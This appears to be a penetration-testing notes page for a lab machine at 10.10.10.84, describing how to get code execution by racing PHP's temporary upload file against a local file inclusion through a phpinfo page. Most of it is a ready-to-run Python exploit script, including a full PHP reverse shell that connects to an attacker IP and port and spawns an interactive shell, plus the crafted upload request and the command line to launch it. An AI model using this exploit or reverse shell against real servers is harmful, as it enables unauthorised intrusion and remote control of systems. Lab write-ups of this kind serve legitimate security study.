PHPInfo log - Race Condition
Example from 10.10.10.84 Gaining RCE through LFI with PHPinfo page.
First, find PHPinfo.php page as this will allow you to gather information about the available settings. Capture the request with Burp:
Change the request in repeater from GET to POST and add:
1
POST /phpinfo.php HTTP/1.1
2
Host: 10.10.10.84
3
User-Agent: Hello
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: en-US,en;q=0.5
6
Accept-Encoding: gzip, deflate
7
DNT: 1
8
Connection: close
9
Upgrade-Insecure-Requests: 1
10
Content-Type: multipart/form-data; boundary=--ShellHere
11
Content-Length: 147
12
13
----ShellHere
14
Content-Disposition: form-data; name="anything"; filename="Shell"
15
Content-Type: text/plain
16
17
Get the shell here
18
----ShellHere
Copied!
The idea behind this exploitation technique is that if PHP accepts file uploads (like we presented above) it creates a temporary file in /tmp/ folder and then deletes the cached file. If we manage to create a large enough file with a php reverse shell code, we should be able to catch this instruction before file gets deleted, hence a race condition. It is Important to note that PHPInfo adds &gt to its temp folder.
1
[tmp_name] => /tmp/phpBBRcdj
Copied!
This POC Code: is designed to do just that, create a race condition during which we should be able go gain a reverse shell:
1
#!/usr/bin/python
2
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
3
import sys
4
import threading
5
import socket
6
7
def setup(host, port):
8
TAG="Security Test"
9
PAYLOAD="""%s\r
10
<?php
11
12
sleep(3);
13
14
set_time_limit (0);
15
$VERSION = "1.0";
16
$ip = '10.10.14.20'; // CHANGE THIS
17
$port = 3333; //CHANGE THIS
18
$chunk_size = 1400;
19
$write_a = null;
20
$error_a = null;
21
$shell = 'uname -a; w; id; /bin/sh -i';
22
$daemon = 0;
23
$debug = 0;
24
25
//
26
// Daemonise ourself if possible to avoid zombies later
27
//
28
29
// pcntl_fork is hardly ever available, but will allow us to daemonise
30
// our php process and avoid zombies. Worth a try...
31
if (function_exists('pcntl_fork')) {
32
// Fork and have the parent process exit
33
$pid = pcntl_fork();
34
35
if ($pid == -1) {
36
printit("ERROR: Can't fork");
37
exit(1);
38
}
39
40
if ($pid) {
41
exit(0); // Parent exits
42
}
43
44
// Make the current process a session leader
45
// Will only succeed if we forked
46
if (posix_setsid() == -1) {
47
printit("Error: Can't setsid()");
48
exit(1);
49
}
50
51
$daemon = 1;
52
} else {
53
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
54
}
55
56
// Change to a safe directory
57
chdir("/");
58
59
// Remove any umask we inherited
60
umask(0);
61
62
//
63
// Do the reverse shell...
64
//
65
66
// Open reverse connection
67
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
68
if (!$sock) {
69
printit("$errstr ($errno)");
70
exit(1);
71
}
72
73
// Spawn shell process
74
$descriptorspec = array(
75
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
76
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
77
2 => array("pipe", "w") // stderr is a pipe that the child will write to
78
);
79
80
$process = proc_open($shell, $descriptorspec, $pipes);
81
82
if (!is_resource($process)) {
83
printit("ERROR: Can't spawn shell");
84
exit(1);
85
}
86
87
// Set everything to non-blocking
88
// Reason: Occsionally reads will block, even though stream_select tells us they won't
89
stream_set_blocking($pipes[0], 0);
90
stream_set_blocking($pipes[1], 0);
91
stream_set_blocking($pipes[2], 0);
92
stream_set_blocking($sock, 0);
93
94
printit("Successfully opened reverse shell to $ip:$port");
95
96
while (1) {
97
// Check for end of TCP connection
98
if (feof($sock)) {
99
printit("ERROR: Shell connection terminated");
100
break;
101
}
102
103
// Check for end of STDOUT
104
if (feof($pipes[1])) {
105
printit("ERROR: Shell process terminated");
106
break;
107
}
108
109
// Wait until a command is end down $sock, or some
110
// command output is available on STDOUT or STDERR
111
$read_a = array($sock, $pipes[1], $pipes[2]);
112
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
113
114
// If we can read from the TCP socket, send
115
// data to process's STDIN
116
if (in_array($sock, $read_a)) {
117
if ($debug) printit("SOCK READ");
118
$input = fread($sock, $chunk_size);
119
if ($debug) printit("SOCK: $input");
120
fwrite($pipes[0], $input);
121
}
122
123
// If we can read from the process's STDOUT
124
// send data down tcp connection
125
if (in_array($pipes[1], $read_a)) {
126
if ($debug) printit("STDOUT READ");
127
$input = fread($pipes[1], $chunk_size);
128
if ($debug) printit("STDOUT: $input");
129
fwrite($sock, $input);
130
}
131
132
// If we can read from the process's STDERR
133
// send data down tcp connection
134
if (in_array($pipes[2], $read_a)) {
135
if ($debug) printit("STDERR READ");
136
$input = fread($pipes[2], $chunk_size);
137
if ($debug) printit("STDERR: $input");
138
fwrite($sock, $input);
139
}
140
}
141
142
fclose($sock);
143
fclose($pipes[0]);
144
fclose($pipes[1]);
145
fclose($pipes[2]);
146
proc_close($process);
147
148
// Like print, but does nothing if we've daemonised ourself
149
// (I can't figure out how to redirect STDOUT like a proper daemon)
150
function printit ($string) {
151
if (!$daemon) {
152
print "$string\n";
153
}
154
}
155
156
?>
157
158
\r""" % TAG
159
REQ1_DATA="""-----------------------------7dbff1ded0714\r
160
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
161
Content-Type: text/plain\r
162
\r
163
%s
164
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
165
padding="A" * 5000
166
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
167
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
168
HTTP_ACCEPT: """ + padding + """\r
169
HTTP_USER_AGENT: """+padding+"""\r
170
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
171
HTTP_PRAGMA: """+padding+"""\r
172
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
173
Content-Length: %s\r
174
Host: %s\r
175
\r
176
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
177
#modify this to suit the LFI script
178
LFIREQ="""GET /browse.php?file=%s HTTP/1.1\r
179
User-Agent: Mozilla/4.0\r
180
Proxy-Connection: Keep-Alive\r
181
Host: %s\r
182
\r
183
\r
184
"""
185
return (REQ1, TAG, LFIREQ)
186
187
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
188
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
189
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
190
191
s.connect((host, port))
192
s2.connect((host, port))
193
194
s.send(phpinforeq)
195
d = ""
196
while len(d) < offset:
197
d += s.recv(offset)
198
try:
199
i = d.index("[tmp_name] =&gt")
200
fn = d[i+17:i+31]
201
except ValueError:
202
return None
203
204
s2.send(lfireq % (fn, host))
205
d = s2.recv(4096)
206
s.close()
207
s2.close()
208
209
if d.find(tag) != -1:
210
return fn
211
212
counter=0
213
class ThreadWorker(threading.Thread):
214
def __init__(self, e, l, m, *args):
215
threading.Thread.__init__(self)
216
self.event = e
217
self.lock = l
218
self.maxattempts = m
219
self.args = args
220
221
def run(self):
222
global counter
223
while not self.event.is_set():
224
with self.lock:
225
if counter >= self.maxattempts:
226
return
227
counter+=1
228
229
try:
230
x = phpInfoLFI(*self.args)
231
if self.event.is_set():
232
break
233
if x:
234
print "\nGot it! Shell created in /tmp/g"
235
self.event.set()
236
237
except socket.error:
238
return
239
240
241
def getOffset(host, port, phpinforeq):
242
"""Gets offset of tmp_name in the php output"""
243
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
244
s.connect((host,port))
245
s.send(phpinforeq)
246
247
d = ""
248
while True:
249
i = s.recv(4096)
250
d+=i
251
if i == "":
252
break
253
# detect the final chunk
254
if i.endswith("0\r\n\r\n"):
255
break
256
s.close()
257
i = d.find("[tmp_name] =&gt")
258
if i == -1:
259
raise ValueError("No php tmp_name in phpinfo output")
260
261
print "found %s at %i" % (d[i:i+10],i)
262
# padded up a bit
263
return i+256
264
265
def main():
266
267
print "LFI With PHPInfo()"
268
print "-=" * 30
269
270
if len(sys.argv) < 2:
271
print "Usage: %s host [port] [threads]" % sys.argv[0]
272
sys.exit(1)
273
274
try:
275
host = socket.gethostbyname(sys.argv[1])
276
except socket.error, e:
277
print "Error with hostname %s: %s" % (sys.argv[1], e)
278
sys.exit(1)
279
280
port=80
281
try:
282
port = int(sys.argv[2])
283
except IndexError:
284
pass
285
except ValueError, e:
286
print "Error with port %d: %s" % (sys.argv[2], e)
287
sys.exit(1)
288
289
poolsz=10
290
try:
291
poolsz = int(sys.argv[3])
292
except IndexError:
293
pass
294
except ValueError, e:
295
print "Error with poolsz %d: %s" % (sys.argv[3], e)
296
sys.exit(1)
297
298
print "Getting initial offset...",
299
reqphp, tag, reqlfi = setup(host, port)
300
offset = getOffset(host, port, reqphp)
301
sys.stdout.flush()
302
303
maxattempts = 1000
304
e = threading.Event()
305
l = threading.Lock()
306
307
print "Spawning worker pool (%d)..." % poolsz
308
sys.stdout.flush()
309
310
tp = []
311
for i in range(0,poolsz):
312
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
313
314
for t in tp:
315
t.start()
316
try:
317
while not e.wait(1):
318
if e.is_set():
319
break
320
with l:
321
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
322
sys.stdout.flush()
323
if counter >= maxattempts:
324
break
325
print
326
if e.is_set():
327
print "Woot! \m/"
328
else:
329
print ":("
330
except KeyboardInterrupt:
331
print "\nTelling threads to shutdown..."
332
e.set()
333
334
print "Shuttin' down..."
335
for t in tp:
336
t.join()
337
338
if __name__=="__main__":
339
print "Don't forget to modify the LFI URL"
340
main()
341
Copied!
Lines 2-156 php-reverse shell from here.
Lines 16,17 Attacker IP and Attacker Port
Lines 199,257 Modification to the tmp folder location, we need to add &gt
Run with:
1
./phptolfi.py 10.10.10.84 80 100
Copied!
Exploitation:
Copy link